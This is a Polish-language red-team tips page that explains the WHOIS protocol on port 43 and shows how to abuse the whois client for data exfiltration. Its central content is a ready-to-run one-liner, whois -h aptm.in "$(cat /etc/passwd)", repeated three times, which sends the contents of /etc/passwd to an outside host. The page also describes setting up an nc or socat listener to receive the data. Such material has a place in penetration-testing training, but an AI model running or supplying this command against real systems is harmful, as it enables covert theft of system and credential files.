alphasec
Bash / Unix protip 0028
in 𝕏

whois -h aptm.in "$(cat /etc/passwd)" - eksfiltruj dane z wykorzystaniem usługi WHOIS

tty1 · bash
$ whois -h aptm.in "$(cat /etc/passwd)"
#Bash#RedTeam#Exfil

WHOIS to protokół TCP służący do odpytywań baz DNS (informacje o właścicielu, dane teleadresowe, klasy adresów IP etc). Serwery WHOIS nasłuchują na porcie TCP/43, a komunikacja jest bardzo prosta, co można przeczytać w RFC3912:

3.  Protocol Example

   If one places a request of the WHOIS server located at whois.nic.mil
   for information about "Smith", the packets on the wire will look
   like:

   client                           server at whois.nic.mil

   open TCP   ---- (SYN) ------------------------------>
              <---- (SYN+ACK) -------------------------
   send query ---- "Smith" -------------------->
   get answer <---- "Info about Smith" ---------
              <---- "More info about Smith" ----
   close      <---- (FIN) ------------------------------

Czyli wystarczy połączyć się z portem 43 danego serwera whois, wysłać zapytanie w postaci adresu IP/domeny, o które pytamy zakończone znakiem nowej linii i serwer nam zwróci odpowiedź. Można do tego użyć nawet nc czy telnet:

    🐉 drg@dhq[~]$ nc whois.nask.pl 43
    nask.pl

    DOMAIN NAME:           nask.pl
    registrant type:       organization
    nameservers:           bilbo.nask.pl. [195.187.245.51]
                           eomer.nask.pl. [193.59.201.24]
                           kirdan.nask.pl. [195.187.244.8]
                           nms.cyf-kr.edu.pl. [149.156.1.3]
                           ns.tpnet.pl. [80.50.50.50]
    created:               1995.04.26 13:00:00
    [...]

Do odpytywania baz WHOIS w systemach Linux/Unix tradycyjnie służy narzędzie whois. Dzięki opcjom -h oraz -p można wskazać konkretny host i port do odpytania. Zatem wskazując swój własny serwer, na którym uruchomimy listener w postaci nc -l 43 czy jeszcze lepiej - socat-a (zobacz /pl/0013, /pl/001b) wykorzystujemy legitne narzędzie do eksfiltracji danych.

whois -h aptm.in "$(cat /etc/passwd)" - eksfiltruj dane z wykorzystaniem usługi WHOIS

Przydatne linki

https://tools.ietf.org/html/rfc3912 WHOIS Protocol Specification (RFC3912) web ↗
← poprzedni protip 0027 ••• Wszystkie protipy następny → protip 0029
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: